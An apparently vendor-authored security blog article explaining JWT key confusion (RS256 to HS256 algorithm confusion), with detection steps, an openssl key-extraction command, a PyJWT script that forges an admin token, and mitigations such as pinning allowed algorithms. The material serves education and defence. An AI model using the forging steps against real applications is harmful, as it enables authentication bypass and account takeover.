What is JWT Key Confusion Attack? Ways to Exploit, Examples and Impact

Learn how JWT Key Confusion (Algorithm Confusion) works, how to exploit RS256 to HS256 vulnerabilities, and best practices for secure JWT implementation.

What is JWT Key Confusion Attack? Ways to Exploit, Examples and Impact

JSON Web Tokens (JWTs) have become the de facto standard for stateless authentication in modern web applications. However, their flexibility often introduces subtle security flaws that can lead to complete system compromise. One of the most critical yet frequently misunderstood vulnerabilities is the JWT Key Confusion attack, also known as the Algorithm Confusion attack. In this guide, we will break down exactly how this attack works, why it happens, and how you can identify and mitigate it in your infrastructure.

Understanding the Basics of JSON Web Tokens (JWT)

Before diving into the mechanics of the attack, it is essential to understand how a JWT is structured. A JWT consists of three parts separated by dots: the Header, the Payload, and the Signature.

  1. The Header: Usually contains the type of token (JWT) and the signing algorithm being used, such as HS256 (HMAC with SHA-256) or RS256 (RSA with SHA-256).
  2. The Payload: Contains the claims, which are statements about an entity (typically the user) and additional data like expiration times.
  3. The Signature: This is used to verify that the sender of the JWT is who it says it is and to ensure that the message wasn't changed along the way.

In a secure implementation, the server generates the signature using a private key or a secret. When the token is sent back to the server in subsequent requests, the server verifies the signature to ensure the integrity of the payload. If an attacker can forge this signature, they can impersonate any user, including administrators. This is where Jsmon can help by identifying exposed endpoints that might be leaking sensitive configuration data.

The Difference Between Symmetric and Asymmetric Signing

The root of the Key Confusion attack lies in the difference between symmetric and asymmetric encryption algorithms.

HS256 (Symmetric Encryption)

HS256 uses a single "secret key" to both sign and verify the token. Both the authentication server and the application server must know this secret. If an attacker gains access to this secret, they can sign any token they wish.

RS256 (Asymmetric Encryption)

RS256 uses a pair of keys: a private key to sign the token and a public key to verify it. The private key is kept strictly confidential by the authentication server, while the public key is shared openly. This allows any service to verify that a token was created by the trusted authority without needing the ability to create tokens itself.

What is a JWT Key Confusion Attack?

A JWT Key Confusion attack occurs when an application is configured to support both symmetric (HS256) and asymmetric (RS256) algorithms but fails to strictly enforce which key should be used with which algorithm.

In a typical scenario, a server expects an RS256-signed token. It uses its stored public key to verify the signature. However, if an attacker changes the algorithm in the JWT header from RS256 to HS256, the server might be tricked into using the HMAC algorithm.

Because HMAC is a symmetric algorithm, it uses the same key for signing and verification. If the server-side code is written poorly, it will take the key it usually uses for verification (the RSA public key) and use it as the HMAC secret key. Since the RSA public key is, by definition, public, the attacker can use it to sign a malicious token that the server will then successfully verify.

How to Identify a Vulnerable Application

Identifying this vulnerability requires observing how the server handles algorithm changes. A common reconnaissance step involves:

  1. Inspecting the JWT: Capture a valid JWT and decode it using tools like jwt.io. Note the algorithm (usually RS256).
  2. Locating the Public Key: Many applications expose their public keys via a JSON Web Key Set (JWKS) endpoint, often found at /.well-known/jwks.json. Alternatively, the key might be found in publicly accessible certificates.
  3. Testing Algorithm Switching: Attempt to change the alg header to HS256 and provide a random signature. If the server returns a "signature mismatch" error rather than an "invalid algorithm" error, it might be attempting to verify the HMAC signature.

To proactively monitor your organization's external attack surface and catch exposures like public JWKS files before attackers do, try Jsmon.

Step-by-Step: Exploiting JWT Key Confusion

Let's walk through a theoretical exploitation process where an attacker aims to escalate their privileges to admin status.

Step 1: Extracting the Public Key

First, the attacker finds the public key used by the server. If the server uses a standard certificate, the attacker can extract it using OpenSSL:

openssl x509 -in server-cert.pem -pubkey -noout > public.pem

Step 2: Modifying the JWT Header and Payload

The attacker takes their existing, low-privileged JWT and modifies it.

Original Header:

{
  "alg": "RS256",
  "typ": "JWT"
}

Modified Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Modified Payload:

{
  "user": "victim",
  "role": "admin",
  "iat": 1612345678
}

Step 3: Re-signing the Token

The attacker now signs the modified header and payload using the public key (which they obtained in Step 1) as the HS256 secret. This is the crux of the confusion. The server will use the same public key string to verify the signature using HMAC-SHA256.

Practical Example using Python

Below is a Python script using the PyJWT library to demonstrate how an attacker might generate a forged token once they have the public key.

import jwt

# The public key obtained from the server (e.g., from /.well-known/jwks.json)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... (truncated)
-----END PUBLIC KEY-----"""

# The malicious payload the attacker wants to inject
malicious_payload = {
    "user": "attacker",
    "role": "admin"
}

# The forged header specifying HS256
forged_header = {"alg": "HS256"}

# Generating the forged token using the public key as the HMAC secret
# Note: Some libraries require the key to be in a specific format (string vs bytes)
forged_token = jwt.encode(
    malicious_payload, 
    public_key, 
    algorithm="HS256", 
    headers=forged_header
)

print(f"Forged JWT: {forged_token}")

If the backend server is vulnerable, it will receive this token, see alg: HS256, fetch its configured public key, and perform an HMAC verification. Since the attacker used that exact same public key to sign it, the verification succeeds.

Real-World Impact and Attack Scenarios

The impact of a JWT Key Confusion attack is almost always critical. Because the authentication mechanism is bypassed, the consequences include:

  • Account Takeover: An attacker can change the sub (subject) or user_id claim to impersonate any user on the system.
  • Privilege Escalation: By changing claims like role: user to role: admin, an attacker gains full administrative access to the application.
  • Information Disclosure: With elevated privileges, attackers can access sensitive data, user databases, or internal configuration files.
  • Persistence: Attackers can generate tokens with extremely long expiration dates, ensuring they maintain access even if the original vulnerability is partially patched but tokens aren't revoked.

How to Prevent JWT Key Confusion Attacks

Preventing this attack requires disciplined coding practices and proper library configuration. Here are the most effective mitigation strategies:

1. Enforce a Specific Algorithm

Never allow the JWT header to dictate which algorithm the server uses for verification. The server should have a hardcoded expectation. If the application expects RS256, it should reject any token that specifies HS256.

Vulnerable Code (Node.js/jsonwebtoken):

// DANGEROUS: Uses the alg from the header
jwt.verify(token, publicKey, (err, decoded) => { ... });

Secure Code:

// SECURE: Explicitly defines the allowed algorithm
jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, decoded) => { ... });

2. Use Separate Keys for Different Environments

Ensure that public keys used for asymmetric signing are never used in contexts where symmetric signing is also supported. While this doesn't fix the logic flaw, it limits the exposure.

3. Validate the 'kid' (Key ID) Header

If your application uses multiple keys, use the kid header to look up the correct key from a trusted internal store. Validate that the key retrieved is appropriate for the algorithm specified in the header.

4. Keep Libraries Updated

Many older versions of JWT libraries were inherently vulnerable to this attack by default. Modern libraries often require you to explicitly list allowed algorithms, significantly reducing the risk of accidental misconfiguration.

Best Practices for Secure JWT Implementation

Beyond just fixing key confusion, a robust JWT implementation should follow these rules:

  • Short Expiration Times: Use short-lived access tokens and longer-lived refresh tokens to minimize the window of opportunity for an attacker.
  • Use Secure Defaults: Prefer asymmetric algorithms (like RS256 or EdDSA) over symmetric ones (HS256) whenever possible, as they simplify key management.
  • Validate All Claims: Always check the exp (expiration), iat (issued at), and aud (audience) claims to ensure the token is being used as intended.
  • Monitor Attack Surface: Use tools to scan for exposed .env files, public certificates, or jwks.json files that shouldn't be public. Jsmon provides continuous monitoring to help you stay ahead of these exposures.

Conclusion

JWT Key Confusion is a prime example of how the misuse of cryptographic primitives can lead to severe security failures. By tricking a server into using a public key as a secret HMAC key, attackers can bypass the very authentication mechanisms meant to keep them out. For developers and security professionals, the lesson is clear: never trust the input provided in the JWT header and always enforce strict algorithm validation in your backend code.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.